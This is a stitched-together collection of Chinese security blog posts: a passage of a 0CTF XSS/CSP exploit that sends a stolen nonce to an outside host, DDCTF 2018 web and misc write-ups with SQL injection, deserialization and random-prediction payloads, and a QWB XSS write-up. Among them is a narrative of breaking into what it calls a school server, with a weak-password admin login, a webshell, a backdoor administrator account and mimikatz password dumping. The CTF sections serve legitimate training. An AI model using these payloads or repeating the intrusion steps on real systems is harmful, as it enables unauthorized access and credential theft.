requests.post("https://h4x0rs.date/do_report.php",data={"url": codeurl,"submit": "submit"} , cookies={"PHPSESSID":"p28vu9m2h0uj7g04m73uo4fsm6"})
print("send url ok!")


# 修改user2资料页中的nonce
def changeNonce(nonce):
evalcode="<script src=//eval.com/eval.js nonce='"+nonce+"''></script>"
reProfile(evalcode)


# 首先获取到admin的id，并保存到b.txt
id = getAdminid()
requests.get("http://eval.com/save_b.php?b="+id)

#发送report，从而加载eval.php
sendReport()

# 获取nonce，并修改内容。
while(1):
nonce=getNonce()
if(nonce !=''):
changeNonce(nonce)
time.sleep(0.5)

eval.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>eval</title>
<script src="https://h4x0rs.date/assets/jquery-3.3.1.min.js"></script>
<script>
         // 加载user2的资料页
function aa(){
var iframe = document.createElement('iframe'); 
iframe.src="https://h4x0rs.date/profile.php?id=1d70f9cca4ab0d188c0cc9524b0d92705607d9b0d2e3923841e8b194ac7601cc";  
document.body.appendChild(iframe);
}
        
         
$(document).ready( function () {
  //获取nonce
           var m = $("meta[http-equiv=Content-Security-Policy]");
  var nonce=m.attr("content");

  // 通过savea.php将nonce保存为a.txt
           var url="https://eval.com/save_a.php?a=";
  var n0t = document.createElement("link");
  n0t.setAttribute("rel", "prefetch");
  n0t.setAttribute("href", url+nonce);
  document.head.appendChild(n0t);
           
           //每3秒重新加载一次user2的资料
  setInterval("aa()", 3000 )
});
</script>
    
    
<script type="text/javascript" src="https://h4x0rs.date/assets/csp.js?id=<?php echo file_get_contents('b.txt');?>&page=profile.php"></script>

</head>
<body>
</body>
</html>

save_a.php

1
2
3
4
5
6
7

<?php
function save($str){
    $myfile = fopen("./a.txt", "w");
    fwrite($myfile, $str);
    fclose($myfile);
}
save($_GET['a']);

save_b.php

1
2
3
4
5
6
7

<?php
function save($str){
    $myfile = fopen("./b.txt", "w");
    fwrite($myfile, $str);
    fclose($myfile);
}
save($_GET['b']);

最后

这道题蛮棒的，话说l4wio大佬总是一次又一次刷新自己对xss的认识。最近0ctf，学到了很多套路。再一次感觉到xss的乐趣。想尽一切办法去bypass。但是切记不能忽视任何一个微小的细节。或许哪里就会是一个漏洞。

看过标答后，发现l4wio大佬的答案更有意思一点，在这里，我用了两个用户，而大佬，直接通过csrf修改admin资料，将admin作为第二个用户来构造xss。膜一下。

参考资料

• https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data
• https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_final-2018/0ctf_tctf_2018_slides.pdf

某天比较无聊，听一个朋友推荐httpscan这款工具，于是就下载下来试试。

首先对某学校网段开始进行测试。

1

python httpscan.py **.**.**.0/24

测试时发现有个比较特殊的标题。一般有这个，证明存在目录遍历。

目录遍历这个漏洞，说大也不大，说小也不小，但是，一般来说，存在这种目录，可以证明网站管理员比较粗心，当然也有可能会把一些敏感文件放在上面，如数据库文件，账号文件等。

尝试google搜索

1

intitle:Index of /

可以找出好多这种例子。可以撞运气试一下有没有敏感文件泄露，然后进一步拿下一个站。

开始渗透

当时访问后，发现是以下的状况。

这个就又比较开心，看到了phpinfo。

这个文件和目录遍历漏洞性质也差不多，说大也大，说小也小。

phpinfo属于处在信息收集阶段的一个重头，当有了这些信息，可以看出服务器端调用了那些库，以及一些敏感路径，从而进行深入的漏洞挖掘。用途也是很广的。

所以建议各个站长，不要将这个文件泄露出来。

phpinfo先放一边，先点开1目录看一下，发现是一个discuz 3.2的站

尝试搜索discuz 3.2 getshell，最终发现有个后台插件配置导致getshell，但此时我们没有后台权限。

于是继续搜索，也没发现什么有价值的。

于是改变思路，想一下如何能进入后台。

尝试弱口令登录，最终admin admin 成功登录后台。

当时的心情是绝望的。

顺理成章，直接进入后台，找到好贷站长联盟 2.0.2安装，并启用。

然后进行配置，输入我们的一句话即可。

成功拿到shell

控制服务器

当然，这么简单的渗透，拿到shell肯定是不够的。

要想办法进而打开3389，成功夺取服务器权限，这样可以实现长久控制。

首先shell打开命令行，查看一下用户权限

当然，由于用的是蚁剑，已经说明了。

此时因为用的就是最高权限，所以就不用再进行提权了。

此时我们可以尝试创建新用户，并赋于其管理员权限。

1
2

net user hacker 123456 /add
net localgroup Administrators hacker /add

此时再次输入net user即可查看到你创建的用户。

然后尝试3389链接，发现无法链接。

此时第一反应一定是，他改端口了。

因为毕竟是服务器，不可能不通过远程桌面连，天天抱个显示器去机房。

于是需要找到其3389端口修改后的端口。

首先查看一下端口占用情况：netstat -ano

发现果然是没有3389，此时可以猜测一下，感觉那个像就连那个，多试几次就好了。

但是，咱可是一个有抱负的技术宅，怎么可能用这种概率事件！

所以，可以通过查看一下当前运行的服务，定位pid后，到端口占用里面对比。

首先tasklist /svc然后寻找TermService，记录下中间的pid号。

然后返回之前的端口占用情况图中寻找5492，可以轻易发现，3389端口被改到了65530

然后尝试用我们账户通过 mstsc链接过去即可

最终成功拿下服务器。

做到这步的时候，已经可以说是结束了，但是！如果被管理员发现账户后删除了怎么办呢？

此时需要找一下管理员的密码。

通过一款老师推荐的软件，最终查询到了管理员的密码。

寻找管理员密码

使用工具mimikatz。

首先下载该工具，然后上传到目标机器。

按目标机器环境，使用合适的位数（32or64）,直接执行。

然后在工具窗格内依次输入以下两条命令即可

1
2

第一条：privilege::debug //提升权限 
第二条：sekurlsa::logonpasswords //抓取密码

在这里，由于隐私问题就不放截图了。

最后再说一点，这几步，虽然说实现了长久的控制，但是还是有所欠缺，毕竟管理员一旦发现有其他账号，在删掉的同时也会将自己的密码改掉。

所以一般大佬们都是直接放入自己的远控木马，进而持久控制。

漏洞威胁以及修复建议

1. 在该服务器下发现存在teamviewer，怀疑有人已经拿下该服务器，进而实现长久控制。
2. 该服务器大部分数据为14年左右，且网站完全没用，建议关闭该台服务器。
3. 网站内敏感数据建议删除或备份到其他地方。
4. 建议对服务器集群内文件实施清理，减少不必要文件泄露。

总结

这次渗透测试，比较胆战心惊，因为一环一环，犹如是一个蜜罐在引自己上钩。

但是考虑到之前老师对自己进行漏洞挖掘的支持，还是进行了下去。

感觉这台服务器之前应该是测试用的，最后忘了还跑着服务，最终导致被拿下。

这是第二次，总的来说，题目对新人还是蛮友好的，而且还能学到很多东西。

时间方面，也还不错。体验到了肛题的快感。这次…蛮可惜的。差一点就ak了web题。

还好时间不够了。否则后面那道java一定会折磨我许久。

最后，赞一下各位出题师傅，题目很喜欢！

还有安姐姐也辛苦了。这一周，看到安姐姐基本上天天通宵。

比赛复现链接： http://ddctf.didichuxing.com

WEB

web1 数据库的秘密 (100pt)

[注意] 本次DDCTF所有WEB题无需使用也禁止使用扫描器

http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php

打开后会发现返回如下。

1

非法链接，只允许来自 123.232.23.245 的访问

此时可以通过修改HTTP请求头中的X-Forwarded-For即可。即添加以下字段

1

X-Forwarded-For:123.232.23.245

在这里，我用的是火狐的一个插件**Modify Header Value (HTTP Headers)**。

发现该网页是一个简单的查询列表。再加上题目中给的hint。可以判断为SQL注入题目。

经过测试，发现以上三个点均不是注入点。此时分析数据包，可以发现存在第四个注入点。

然后查看源码，发现一个隐藏字段。经过测试发现，该字段可以注入。

1
2

admin' && '1'='1'#
admin' && '1'='2'#

尝试注入 author，可以发现以下内容信息

1
2
3

1. and （可以用&&代替）
2. union select （很迷，这两个不能同时出现，然而自己又找不到其他方式）
3. 仅允许#号注释

然后注入渣的自己就比较无奈了。。不会啊。只好祭出盲注大法了。经过尝试，最终构造以下payload可用。

1

admin' && binary substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,1) <'z' # 

然后开始写脚本，此时遇到了一个问题。发现他有一个验证。为了check你中途是否修改数据，而加入的一个hash比对。

首先将你的准备传送的内容进行某种hash后变为sig字段，然后再将sig通过get请求一起发送过去。此时服务器端会将sig与你发送的内容的hash比对一下。此时可以减少抓包中途修改内容的可能性。

所以，为了省事，我选择直接将这个代码调用一下。

用python的execjs库，可以直接执行js代码。

最终跑起脚本，获取到flag DDCTF{IKIDLHNZMKFUDEQE}

web2 专属链接 (200pt)

现在，你拿到了滴滴平台为你同学生成的专属登录链接，但是你能进一步拿到专属他的秘密flag么

提示1：虽然原网站跟本次CTF没有关系，原网站是www.xiaojukeji.com

注：题目采用springmvc+mybatis编写，链接至其他域名的链接与本次CTF无关，请不要攻击

http://116.85.48.102:5050/welcom/3fca5965sd7b7s4a71s88c7se658165a791e

首先打开网站，发现是滴滴的官网。。

此时发现所有连接几乎全部重定向到了滴滴官网。

无奈下查看元素。发现hint

1

<!--/flag/testflag/yourflag-->

尝试访问，http://116.85.48.102:5050/flag/testflag/yourflag发现报错500，好像是数组越界？

此时尝试将yourflag替换为DDCTF{1321}，返回failed!!!。

猜测爆破flag么？完全没戏啊。看样子应该有其他地方可以入手。

然而又发现了主页js的一句神奇的话。一个ajax语句。

然并卵，404。。。。。

此时只好继续分析题目，发现了令人眼前一亮的东西。对，就是下面这个icon。

1

http://116.85.48.102:5050/image/banner/ZmF2aWNvbi5pY28=

访问后，发现下载了favicon.ico

此时发现图标好像图片很奇怪。后来果然验证了这是个hint。

此时可以愉快地玩耍了，这样一来，题目源码有了，还愁拿不下来么。

美滋滋。此时也知道了题目中hint的用意。题目采用springmvc+mybatis编写

百度搜索springmvc+mybatis文件结构，美滋滋读文件。

首先，大概知道了资源文件都是在WEB-INF文件夹下，所以猜测这个icon也在这里，此时我们要先确定文件夹。

WEB-INF下有一个web.xml，此时尝试读取，最终确定目录../../WEB-INF/web.xml。

然后拖文件。这里说几点注意事项。

1. 通过../../WEB-INF/web.xml确认位置。
2. 继续根据web.xml中的内容进行文件读取。classpath是WEB-INF/classes
3. 读class文件时根据包名判断文件目录com.didichuxing.ctf.listener.InitListener 即为WEB-INF/com/didichuxing/ctf/listener/InitListener.class
4. 制造网站报错，进一步找到更多的文件

差不多，注意一上四点，就可以拿到尽量多的源码了。

拖到源码后，就不美滋滋了。。。还好去年在DDCTF学过2017第二题的安卓逆向，会逆向了。

（此时坑点：jd-jui仅可逆jar，需要将class打成压缩包改为jar再逆向）

此时开始苦逼的分析源码。

分析后发现，存在接口，用当前用户的邮箱去生成一个flag。

但是flag是加密的。此时加密流程代码里都有，是一个RSA加密。密钥在服务器中的

此时又一次明白了，为什么读文件允许ks文件。

来吧，首先先拿邮箱申请一个flag

然而此时申请flag，邮箱也得先加密。自己提取出来的加密脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

public static String byte2hex(byte[] b)
  {
    StringBuilder hs = new StringBuilder();
    for (int n = 0; (b != null) && (n < b.length); n++)
    {
      String stmp = Integer.toHexString(b[n] & 0xFF);
      if (stmp.length() == 1) {
        hs.append('0');
      }
      hs.append(stmp);
    }
    return hs.toString().toUpperCase();
  }
  public static void getEmail() throws NoSuchAlgorithmException, InvalidKeyException{
  SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
  Mac mac = Mac.getInstance("HmacSHA256");
      mac.init(signingKey);
  String email="3113936212117314317@didichuxing.com";
  byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
  System.out.println(byte2hex(e));
  }

//0DFEE0968F44107479B6CF5784641060DB42952C197C7E8560C2B5F58925FAF4

坑：但是此时后端仅允许post方式。且参数是以get传递的。

成功获取到flag

1

Encrypted flag : 506920534F89FA62C1125AABE3462F49073AB9F5C2254895534600A9242B8F18D4E420419534118D8CF9C20D07825C4797AF1A169CA83F934EF508F617C300B04242BEEA14AA4BB0F4887494703F6F50E1873708A0FE4C87AC99153DD02EEF7F9906DE120F5895DA7AD134745E032F15D253F1E4DDD6E4BC67CD0CD2314BA32660AB873B3FF067D1F3FF219C21A8B5A67246D9AE5E9437DBDD4E7FAACBA748F58FC059F662D2554AB6377D581F03E4C85BBD8D67AC6626065E2C950B9E7FBE2AEA3071DC0904455375C66A2A3F8FF4691D0C4D76347083A1E596265080FEB30816C522C6BFEA41262240A71CDBA4C02DB4AFD46C7380E2A19B08231397D099FE

然后，解密吧。。

只能百度了，java又不熟，RSA更不熟，尤其还是这种hex的。逆源码都失败了。一个劲报错。（查百度，好像是因为啥空格之类的。打不过打不过）

最终发现一个好玩的，可以从keystore提取RSA私钥。这样一来，又继续美滋滋。

https://blog.csdn.net/zbuger/article/details/51690900

然后照猫画虎，提出私钥。此时祭出自己的一个无敌大件。之前从某次CTF安卓题提出的RSA解密脚本。（当时题目简单，加解密都给了，改个函数名就ok了。）

(╯°□°）╯︵ ┻━┻

要不是在线的解不了。才不会想起这个大招（已放到附件，记得将 密文to ascii 再 to base64。）。。。。。

通过在线工具，提取出公私钥，然后跑脚本。最终拿到flag。

DDCTF{1797193649441981961}

web3 注入的奥妙 (250pt)

本题flag不需要包含DDCTF{}，为[0-9a-f]+

http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1

按照题目要求，这题应该是个注入题，毫无疑问。

查看源码，发现给了big5的编码表，此时猜测可以通过宽字节进行注入。

1

1餐' and 1=1%23

orderby，发现有三个字段，尝试构造联合查询语句，发现union会被直接删除。此时双写绕过即可。

此时查询数据库：

1

1餐' uniunionon select SCHEMA_NAME,2,3 from information_schema.SCHEMATA %23

然后继续查询表名：

1

1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=sqli %23

此时发生了一件尴尬的事情。我们无法继续构造单双引号，这样数据库会报以下错误。

此时祭出hex大法。数据库会直接将0x开头的进行转码解析。

1

1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x73716c69 %23

此时成功的爆出来了三个表

1

message,route_rules,users

然后就没啥好说的了。挨个查着玩就可以了，基本同上。然后查字段啥的。

查路由的时候，有点小坑，不知道后端怎么解析的，会将一列数据解析到多列，此时用mysql的to_base64()函数即可。

通过路由信息，我们可以发现存在static/bootstrap/css/backup.css 源码泄露。

通过以下三行脚本即可保存该文件。

1
2
3

import requests
f=open('a.zip','wb')
f.write(requests.get('http://116.85.48.105:5033/static/bootstrap/css/backup.css').content)

接下来就是对PHP代码的审计。

首先，分析路由。我们从数据表内知道了有以下几条规则

get*/:u/well/getmessage/:s Well#getmessage
get*/:u/justtry/self/:s JustTry#self
post*/:u/justtry/try JustTry#try

首先第一条，就是咱刚刚实现注入的那一个。不用多看，逻辑差不多清楚。

第二，三条，调用的都是justtry类下的某个方法。所以可以跟进去，重点分析下这个函数。

此时看见了 unserialize ，倍感亲切，这不就是反序列化么。

此时就需要考虑反序列化了。他后面限制了几个类，此时我们可以一一打开分析。

test类，顾名思义，就是一个测试用的。

此时我们发现他的析构函数中，有一条特殊的句子。跟进去之后发现，他会将falg打印出来。

仔细分析源码后发现，这个test类通过调用Flag类来获取flag，然而Flag类又需要调用SQL类来进行数据库查询。

所以，这个反序列化是个相当大的工程。自己手写是无望了。

首先尝试了一下，自己写三个类的调用。。。然而失败了。

最后复现源码，并在try方法打印序列化对象后。（uuid是你的url那串，uuid类下正则可以看出来。）

发现，他是有一个命名空间的要求。序列化后语句如下

1

O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"4eaee5db-2304-4d6d-aa9c-962051d99a41";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}

最终的Payload如下：

url:http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/

postdata:

serialize=%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%54%65%73%74%22%3a%32%3a%7b%73%3a%39%3a%22%75%73%65%72%5f%75%75%69%64%22%3b%73%3a%33%36%3a%22%34%65%61%65%65%35%64%62%2d%32%33%30%34%2d%34%64%36%64%2d%61%61%39%63%2d%39%36%32%30%35%31%64%39%39%61%34%31%22%3b%73%3a%32%3a%22%66%6c%22%3b%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%46%6c%61%67%22%3a%31%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%4f%3a%31%36%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%53%51%4c%22%3a%32%3a%7b%73%3a%33%3a%22%64%62%63%22%3b%4e%3b%73%3a%33%3a%22%70%64%6f%22%3b%4e%3b%7d%7d%7d

web4 mini blockchain (280pt)

某银行利用区块链技术，发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是，该银行被黑客入侵，私钥被窃取，维持区块链正常运转的矿机也全部宕机。现在，你能追回所有DDCoins，并且从商店购买2颗钻石么？

注意事项：区块链是存在cookie里的，可能会因为区块链太长，浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新，因此强烈推荐写脚本发请求

题目入口：
http://116.85.48.107:5000/b942f830cf97e

拿到题目，内心是拒绝的。因为虽然说区块链这么火，但是自己还是没怎么了解过。

第一反应是。药丸，没戏了。但是，搞信息安全的孩子怎么可以轻言放弃呢！

时间辣么长，还不信看不明白个区块链。最后肛了两天多，才大概明白了题目

首先，题目给了源码，这个很棒棒。

建议大家分析题目时将代码也多读几遍，然后再结合参考资料进行理解。

在这里不做太多的理解源码的讲解。

最初我是将重心代码的一些逻辑上，以及加密是否可逆。（发现自己太年轻，看不懂）

然后慢慢的开始了解区块链，最后发现这种手段。

这道题目中，利用了区块链一个很神奇的东西。

因为区块链是一个链表，而且还是一个谁都可以增加的，此时，人们达成了一种默认，以最长的那条链为主链（正版），其他的分支都是盗版。

如下图，就是此时该题目的区块链。

那么我们可以再构造一条链，只要比主链长，那这条链就是我们说了算。

此时虽然说区块链1是正规的链，但是区块链2要比1长，此时区块链2即为正规链。

但是，说的轻巧，我们该如何构造呢？

首先，我们分析路由可以发现，题目预留了一个创建交易的接口。此时可以生成新块。

只要我们可以挖到一个DDcoin，就可以创建一次新块，然后会判断商店的余额。最终给予砖石奖励。

然而DDcoin是什么呢。

在这道题里，其实就是这个东西，这就是一个区块。对他进行分析一下。

1
2
3
4
5

nonce:自定义字符串
prev：上一个区块的地址
hash：这个区块的hash
height：当前处于第几个节点
transactions：交易信息

再分析transactions

1
2
3
4

input与signature好像是一个凭证，验证这个区块主人身份。
output，收款人信息
amount，收款数额
addr，收款地址

hash这里的话，不是太明白。

但是看代码。发现都有现成的可以生成。只要利用这三个函数，即可创建一个新的区块。

1
2
3

create_output_utxo(addr_to, amount) // 新建一个output信息
create_tx(input_utxo_ids, output_utxo, privkey_from=None) // 新建一个transactions信息
create_block(prev_block_hash, nonce_str, transactions) // 新建一个区块

首先新建output，此时参数很简单，收货人地址（商店），数量（全款）

然后创建tx，此时output_utxo就是刚刚咱创建好的那个。然而问题来了，私钥和id咱是没有的。此时分析代码可以发现，这一步做的主要就是创建一个sig签名。还有就是生成一个hash

此时，邪恶的想到，既然是要创建第二条链，那么可不可以借用一下第一条链的第一块的信息。

也就是直接忽略掉sig的生成，伪造tx，直接重写一下create_tx

然后此时tx也有了，进行下一步create_block

此时他的三个参数也好写，上一个区块的hash，自定义字符串，刚刚做好的tx

此时，我们要通过爆破nonce的方式，来使create_block生成的块的hash为00000开头，

这样，我们才能添加。

然后向那个添加块的地址post由create_block即可成功添加第一个块。

记得改请求头中的content-type为json。还有就是cookie自己手动更新

第二个块的时候，问题又来了。

这条链中，我们之前的tx已经使用过一次，无法使用了。怎么办？

此时可以注意到题目中init中给的hint。

凭啥他可以不写tx就生成块！不开心，你都能那样，我也要！

于是。。。。。通过这个方式，在后面添加几个空区块就好。

成功伪造主链！获取一颗砖石。

再次重复以上做法，完成第三条链即可获取到flag

切记，手动更新cookie……

web5 我的博客 (320pt)

提示：www.tar.gz

http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d

题目又给了源码，美滋滋。

然而下载到源码后就不美滋滋了。

一共给了三个页面，主页很明显，有一个SQL注入漏洞。这个题之前安恒杯三月见过。利用率printf函数的一个小漏洞，%1$’可以造成单引号逃逸。

然而，你是进不去主页的。因为。。

还没进去，就被die了。

然后只好分析如何能成为admin了。此时看到了。

当你是通过邀请码注册的，你便可以成为admin。

然而，邀请码是完全随机的。

此时，想起LCTF的一道题，感觉完全一样有木有！

https://github.com/LCTF/LCTF2017/tree/master/src/web/%E8%90%8C%E8%90%8C%E5%93%92%E7%9A%84%E6%8A%A5%E5%90%8D%E7%B3%BB%E7%BB%9F

然而当时有两个解，一个非预期条件竞争，另一个正则的漏洞。

此时这题完全没用啊！当时要疯了，猜测，难道是要预测随机数？

然而，当我看到大佬这句话的时候，萌生了放弃的想法，猜测肯定还有其他解法。

奈何，看啊看，看啊看，我瞪电脑，电脑瞪我。

最后还是决定看一下随机数这里。很开心，找到了这篇文章。

http://drops.xmd5.com/static/drops/web-11861.html

然而，每个卵用，他只告诉了我：对！毛病就在随机数，但是你会么？

满满的都是嘲讽….

来吧，一起看，首先这篇文章讲了一种后门的隐藏方式，话说我读了好几遍才理解。

然后不得不感叹，作者….你还是人么。这都能想出来。服！真的服！

首先，大家需要先知道rand()是不安全的随机数。（然而我不知道）

然后str_shuffle()是调用rand()实现的随机。所以此时重点是。如何预测rand？

然而作者没告诉，给的链接都是数学，看不懂…..

此时PHITHON大佬的这篇文章真的是解救了自己。

https://www.leavesongs.com/penetration/safeboxs-secret.html

所以，此时我们知道了一件事情。当我们可以获取到连续的33个随机数后，我们就可以预测后面连续的所有随机数。

如何连续？大佬文章中说了，通过http请求头中的Connection:Keep-Alive。

此时，我们先获取他100个随机数。

1
2
3
4
5
6
7

s = requests.Session()
url='http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
headers={'Connection': 'Keep-Alive'}
state=[]
for i in range(50):
r=s.get(url,headers=headers)
state.append(int(re.search(r'id="csrf" value="(.+?)" required>', r.text, re.M|re.I).group(1)))

然后测试一下

1
2
3
4
5

yuce_list=[]
for i in range(10):
yuceTemp=yuce(len(state))
state.append(yuceTemp)
yuce_list.append(yuceTemp)

此时发现和实际是有一些冲突的。分析后发现，应该将生成的随机数取余2147483647才是真正的数。

但此时又有了一个问题。

之前大佬是说过会有一定的误差，但是误差率太高了。虽然误差不大，但是….

此时，没办法，只能祈求后面会处理误差。此时我们完成了随机数的预测。

接下来需要写如何打乱字符串。

可以发现，一个很简单的流程，生成随机数，然后交换位置。

唯一不知道的地方就是其中这个地方的一个函数。

此时直接去GitHub翻一下源码。

https://github.com/jinjiajin/php-5.6.9/blob/35e92f1f88b176d64f1d8fc983e466df383ee34e/ext/standard/php_rand.h

然后就是愉快的重写代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

def rand_range(rand,minN,maxN,tmax=2147483647):
temp1=tmax+1.0
temp2=rand/temp1
temp3=maxN-minN
temp4=temp3+1.0
temp5=temp4*temp2
rand=minN+(int)(temp5)
return rand
admin_old=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']

for i in range(len(admin_old))[::-1]:
a=rand_range(int(yuce_list[len(admin_old)-i-1]),0,i)
admin_old[i],admin_old[a]=admin_old[a],admin_old[i]
key=''
for i in admin_old:
key+=i
print(key)

此时就可以愉快的生成随机数了。然后在进行一下注册。此时csrf记得提前在获取state时保存一下最后一位。

1
2
3
4
5
6
7
8
9

def getAdmin(username,passwd,code):
data={
"csrf":csrf,
"username":username,
"password":passwd,
"code":code
}
r=s.post(url,headers=headers,data=data)
print(r.text)

切记！code是：admin###开头，后面截取32位！

最后用拿到的账号进行登录即可。

后面就是sql注入了。很简单，只要单引号逃逸后，就可以显注了。没有其他过滤

1

/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=-1%1$'+union+select+1,f14g,3+from+a8e79480.key+where+1+%23 

MISC

misc1 签到题 (1pt)

请点击按钮下载附件

出题人是真的皮。下载后会发现一个神奇的东西。flag.txt里面的内容是这个

请查看赛题上方“公告”页

然后打开公告页，发现了他。。

DDCTF{echo”W3Lc0me_2_DiD1${PAAMAYIM_NEKUDOTAYIM}C7f!”}

好歹咱也是个web手。so …..

本来还以为要解开里面的PHP代码。自己误以为是这个。

1

DDCTF{W3Lc0me_2_DiD1::C7f!"}

最后发现，原来是真·签到题。

misc2 (╯°□°）╯︵ ┻━┻ (50pt)

(╯°□°）╯︵ ┻━┻

d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd

这道题蛮坑的。。想了无数种密码后都没思路。最后只能老老实实研究，或许是一些简单的编码？

一共134个字符。尝试2位一组，转化为十进制后，发现数值在一定范围内浮动。

然后考虑到ascii码可见区域，于是尝试对其进行取余128的操作。

最后发现余数均在ascii码的可见区域。之后hex2ascii 即可获取到flag。

1
2
3
4
5

a=[212,232,225,244,160,247,225,243,160,230,225,243,244,161,160,212,232,229,160,230,236,225,231,160,233,243,186,160,196,196,195,212,198,251,185,178,178,225,226,185,185,183,180,225,180,183,227,228,179,178,178,227,230,180,179,226,181,176,182,177,176,230,225,229,225,181,253]
b=''
for i in a:
b+=chr(i%128)
print(b)

1

DDCTF{922ab9974a47cd322cf43b50610faea5}

misc3 第四扩展FS （100pt）

D公司正在调查一起内部数据泄露事件，锁定嫌疑人小明，取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题，提示已经在题目里，日常违规审计中频次有时候非常重要。

拿到图片，发现大小出奇的大，于是尝试binwalk，提出来一个压缩包。

尝试打开，发现是有密码的。（这里有个技巧，个人比较喜欢用windows的好压解压缩软件，这个软件存在一定的压缩包修复。）

然后回到题目，仔细分析。尝试无果后，最终将密码锁定在了提示已经在题目里，所以尝试查看文件属性，发现了一些奇怪的字符串。

一般来说，图片信息中不会出现备注的。所以尝试将其作为密码解压，解压成功。

然后发现了一串稀奇古怪的。。。。字符。

此时想到了题目中给的hint：日常违规审计中频次有时候非常重要

尝试词频统计。得到flag

此时有一点小小坑。。D是两个。。

flag ：DDCTF{x1n9shaNgbIci}

misc4 流量分析 (200pt)

提示一：若感觉在中间某个容易出错的步骤，若有需要检验是否正确时，可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二：注意补齐私钥格式
—–BEGIN RSA PRIVATE KEY—–
XXXXXXX
—–END RSA PRIVATE KEY—–

怎么说呢，做完这题，我才知道坑人能有多坑！

流量分析的题，首先可以发现他的大小很小。不像是那种大流量的分析。

尝试了一下学长之前推荐的一款工具《科来网络分析系统》

可以发现ftp传输了两个包。此时，fl-g极有可能是flag。

于是拿wireshark千辛万苦，提取出来压缩包。然而….没有密码。

只好继续分析了。因为毕竟misc4了，不可能是密码爆破啥的吧。

继续看， 发现一个邮件（不知道科来怎么提文件，查看数据。哭唧唧）

wireshark导出IMF对象。可以发现导出了几个邮件。然后逐个分析。

然而并没卵用，唯一有点用的，感觉奇怪的，就只有一个邮件。

此时这个不是一点的奇怪！而是很奇怪！那么，这串密钥。。是干什么的呢。

经过老司机多年开车经验，呸。做题经验。

猜测！肯定有https流量。当然，科来也说有了。

于是。。这种之前曾听说过的题目，现在到了手里还是有些小激动的。

尤其是那个图片！图片！图片！！！！

ocr也不行，手写也不行。那么多字。心塞ing。

好吧，最后还是百度找了个ocr识别了一下，然后改了几个字符。。

然后就是解密https流量。具体可以看这个链接。

https://blog.csdn.net/kelsel/article/details/52758192

直接导入私钥就可以。这里需要按照hint格式来，在前后加上标志位。

然后就可以解密https流量了。

然后搜索ssl，追踪http流量，最后取得flag

分析题目

拿到题目后，首先先分析一下题目，发现有注册和登录，尝试登录成功后，发现如下几个页面

1
2
3
4
5

Overview // 显示当前自己所有发帖
Write article // 发帖
Reports // 向网站管理员反馈（只能填写问题所在的url）
Export // 暂时没有
About // 简单的一个介绍页面

分析后感觉该题为XSS，因为存在Reports页面，且发送时含有验证码。

尝试发帖，发现发出后，可以创建一个空白页面来放置你所发的帖子。

可以发现，此时对敏感字符进行了一些转义。并且标题处含有h1标签。

尝试空标题发帖时，发现可以没有h1标签。

此时，我们有了一个很好的条件，如果该网站存在csp，即可通过在这里写入恶意代码，来造成xss。

尝试攻击

首先尝试在report页面发送XSSpayload，最终发现以下payload可用

1

http://39.107.33.96:20000?sda<script src=yourjs></script>

尝试获取cookie，成功获取到以下信息。

即：

• 存在v1ewth3report.php页面
• 当前页面cookie设有httponly。

然后尝试打其他的一些js，拖源码等。发现很迷！真的很迷！！基本都没法用。但是这个却是确确实实打回来了。

在确认脚本无误后，认真反思后，感觉自己方法错误。原因如下：

1. 未有效利用到其他页面。
2. 强网杯的题不可能这么简单。
3. 难道有跨域之类的问题（这个一直很迷，自己感觉应该不会的，毕竟都成功一次了）

继续尝试

然后继续尝试，想办法用到文章页。即将代码写入该页。

因为有对特殊字符的转义，所以需要我们进行绕过一下。

此时采用fromCharCode来进行绕过。脚本如下

1
2
3
4
5
6
7
8
9

str1='youjscode'
payload='eval(String.fromCharCode('
for i in range(len(str1)):
payload+=str(ord(str1[i]))
if(i+1<len(str1)):
payload+=','

payload+='));'
print(payload)

生成payload后，可以直接发帖，然后记录下网址。

再次尝试刚刚的payload。

1

http://39.107.33.96:20000?sda<script src='http://39.107.33.96:20000/index.php/view/article/1234'></script>

